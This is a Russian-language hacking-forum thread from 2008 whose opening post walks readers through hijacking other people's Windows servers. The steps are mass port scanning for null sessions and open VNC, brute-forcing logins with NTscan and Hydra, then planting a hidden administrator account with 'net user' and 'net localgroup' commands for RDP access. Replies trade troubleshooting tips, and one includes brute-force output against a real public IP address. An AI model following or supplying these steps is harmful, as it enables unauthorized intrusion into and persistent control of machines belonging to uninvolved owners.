Статьи Добудем дедик

Discussion in 'Статьи' started by Realix, 25 Apr 2008.

  1. Realix

    Realix Elder - Старейшина

    Joined:
    11 Jan 2008
    Messages:
    19
    Likes Received:
    59
    Reputations:
    0
    Добудем дедик ​


    и так приступим .....
    Мы будем искать деды на открытые порты 139,135 - null session и 5900 - VNC.

    Можно использовать множество сканеров но я предпочитаю angry ip scanner качаем его Angry
    чтобы было удобно юзать данный сканер создаём баник *.bat файлег с диапазонами в виде
    Code:
    [COLOR=White]ipscan.exe 192.168.0.1 192.168.2.2 192.168.0.1_192.168.2.2.txt[/COLOR]
    отсюда видно что запускается наш сканер ipscan.exe сканирует диапазон от 192.168.0.1 до 192.168.2.2 и сохраняет результат в 192.168.0.1_192.168.2.2.txt
    Чтобы не мучатся с вбивом диапазонов так как их может быть 400-500 а то и более был написан парсер для этого качаем парсер Parser
    закидываем в парсер диапазоны в виде 192.168.0.1 192.168.2.2 он нам выдаст их в виде ipscan.exe 192.168.0.1 192.168.2.2 192.168.0.1_192.168.2.2.txt
    диапазоны по странам можно смотреть тут Ip rang
    теперь настраиваем наш сканер на скан портов 139,135,5900 и запускаем наш сканер и идем пить кофе ну или лучше поспать :)
    после скана одного диапазона создастся файлег в папке с сканером под названием ip от-до.txt(192.168.0.1_192.168.2.2.txt) если вы будете сканить 500 диапазонов то в папке со сканером будет 500 файликов
    Для удобства парсинга результатов angry был написан еще 1 парсер качаем его Parser 2
    закидываем в него все результаты от скана он нам разделит ипы на 3 столбца 139 135 5900
    И так для брута дедов с открытой null session(139,135) я использую NTscan качаем его NTscan
    думаю все разберутся как его юзать.
    а так же для массавого чека VNC (5900) дедов используем VNCmasss качаем его VNCmass
    VNCmasss позволит приконектится к бажному VNC деду без авторизации .

    Когда NTscan сбрутит деда то пробуем к нему подключиться через RDP если не подключается то значит на деде закрыт порт 3389 про такой дед лучше забыть,а если открыт данный порт на дедике и мы зашли на дед то быстренько создаем учетку
    cmd
    net user user pass /add
    net localgroup Administrators user /add
    net localgroup "Remote Desktop Users" user /add
    net accounts /maxpwage:unlimited
    exit
    заходм под свеже созданной учеткой и наслаждаемся добытым Дедиком


    в случае если вы вошли на дед через бажный VNC то так же проверяем открыт ли порт 3389 если порт открыт по такому же примеру приведенному выше создаём учетку
    Если RDP закрыт то на такой дед можно забить.Бажные Vnc Восновном на XP и толку от таких дедов мало.

    Удачного всем брута и скана :)
    Спасибо за внимание .
     
    #1 Realix, 25 Apr 2008
    Last edited: 4 Jul 2008
    17 people like this.
  2. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,957
    Reputations:
    594
    1. Почему в качестве примера везде диапазон локальных адресов?
    2. Ну бажный VNC может встретится, а что делать с найденым RDP
    3. Можно ещё поискать другие сервисы удалённого администрирования, например Радмин, почему только два?
    Резюме:
    1. Боян.
    2. Тема с@с@к нераскрыта
    Вердикт: скорее всего delete (ели не будет дополнений и раскрытия темы)
     
    #2 -=lebed=-, 25 Apr 2008
    Last edited: 25 Apr 2008
    2 people like this.
  3. AllenZ

    AllenZ Шелдон Купер

    Joined:
    18 Aug 2007
    Messages:
    0
    Likes Received:
    259
    Reputations:
    23
    ну да... стать так себе, тема не раскрыта, протсо описание что да как. Таких "статей" в нете как... кароч пусть модеры решают.
     
    3 people like this.
  4. VinTkz

    VinTkz Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    0
    Likes Received:
    8
    Reputations:
    -5
    Описаны конкретные действия, думать ничего не нужно, я благодарен, буду пробовать, я новичок и все понял :)
     
  5. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    как же это старо, бажных дедиколв таких уже почти нет
     
    2 people like this.
  6. ртуть

    ртуть Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    314
    Likes Received:
    388
    Reputations:
    29
    многие кто рассуждает о дедах, имеют смутное понятие о них вообще!
     
    3 people like this.
  7. Realix

    Realix Elder - Старейшина

    Joined:
    11 Jan 2008
    Messages:
    19
    Likes Received:
    59
    Reputations:
    0
    Зря ты так говоришь я за ночь более 30 к насканиваю

    ЗЫ нуль ссесия это не баг для очень умных :D
    Ет ты о чем :D
     
    #7 Realix, 18 May 2008
    Last edited: 18 May 2008
  8. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    брутом дедов никогда не занимался, НО не логичнее ли будет для 139 и 135 СНАЧАЛА проверить открытость порта 3389 при помощи того же ipscan.exe, а уже потом брутить, штобы не далать пустую работу ?
     
  9. myp3zz

    myp3zz Elder - Старейшина

    Joined:
    10 Jun 2007
    Messages:
    26
    Likes Received:
    15
    Reputations:
    0
    кто бы че реальное подкинул, а не копипастенные измененные идейки...=\
     
  10. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    на http://forum.xeka.ru/ эта тема была
     
  11. Realix

    Realix Elder - Старейшина

    Joined:
    11 Jan 2008
    Messages:
    19
    Likes Received:
    59
    Reputations:
    0
    Нет не проще если открыт порт 3389 то не значит что на нем открыты порты 139,135 .Собственно можно сканить и 3389 сразу но так как таких дедиков гораздо больше это займет больше времени по парсингу и бруту ;)
     
  12. Вуte

    Вуte Member

    Joined:
    27 Dec 2007
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    сбрутил НТсканом пару дедиков, пассы не подходят
     
  13. Realix

    Realix Elder - Старейшина

    Joined:
    11 Jan 2008
    Messages:
    19
    Likes Received:
    59
    Reputations:
    0
    обрати внимение на домен в который входишь ,а если нет выбора доменов то значит юзер не добавлен в группу удаленного админстрирования
     
  14. .Striker

    .Striker Elder - Старейшина

    Joined:
    11 Nov 2007
    Messages:
    82
    Likes Received:
    63
    Reputations:
    -4
    а как попасть на диапазон айпи именно серверов а не юзеров адсла какого то?
     
    2 people like this.
  15. kenny666

    kenny666 New Member

    Joined:
    5 Jun 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    подскажите плз, че за трабла??
    [​IMG]
     
  16. Nelzone

    Nelzone Banned

    Joined:
    12 Apr 2008
    Messages:
    172
    Likes Received:
    134
    Reputations:
    6
    переводи на Promte))
     
  17. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    401
    Likes Received:
    153
    Reputations:
    48
    у это юзера нет админских прав (т.к. админы могут удалённо коннектиться) + он ещё и не в группе удалённых пользователей.
     
  18. .Striker

    .Striker Elder - Старейшина

    Joined:
    11 Nov 2007
    Messages:
    82
    Likes Received:
    63
    Reputations:
    -4
    я так понял нтскан перебирает только простые пароли или пустые.
    А как сбратить нормальный пароль на дедике?
     
  19. .Striker

    .Striker Elder - Старейшина

    Joined:
    11 Nov 2007
    Messages:
    82
    Likes Received:
    63
    Reputations:
    -4
    чет я не понимаю
    насканил я серв 91.196.253.36
    стоит вин 2к3
    нтскан пишет
    Code:
    [91.196.253.36]: ping starting ...
    [91.196.253.36]: connecting port 5900 ...
    [91.196.253.36]: checking: administrator/[NULL] ...
    [91.196.253.36]: checking: admin/[NULL] ...
    [91.196.253.36]: checking: guest/[NULL] ...
    
    All done
    NTscan v1.0 stopped
    и чем его брутить?
     
  20. Realix

    Realix Elder - Старейшина

    Joined:
    11 Jan 2008
    Messages:
    19
    Likes Received:
    59
    Reputations:
    0
    в папке с нтсканом есть NT_pass.dic в него и вбивай свои пассы

    Нт скан не брутит внц портеег , для внц можешь заюзать гидру
     
    1 person likes this.
Loading...
Similar Threads - Добудем дедик
  1. Shade

    Авторские статьи [FAQ] Взлом дедиков

    Replies:
    27
    Views:
    48,237
  2. diki_01
    Replies:
    29
    Views:
    55,829
  3. DoN
    Replies:
    31
    Views:
    17,023
  4. AllenZ
    Replies:
    114
    Views:
    51,405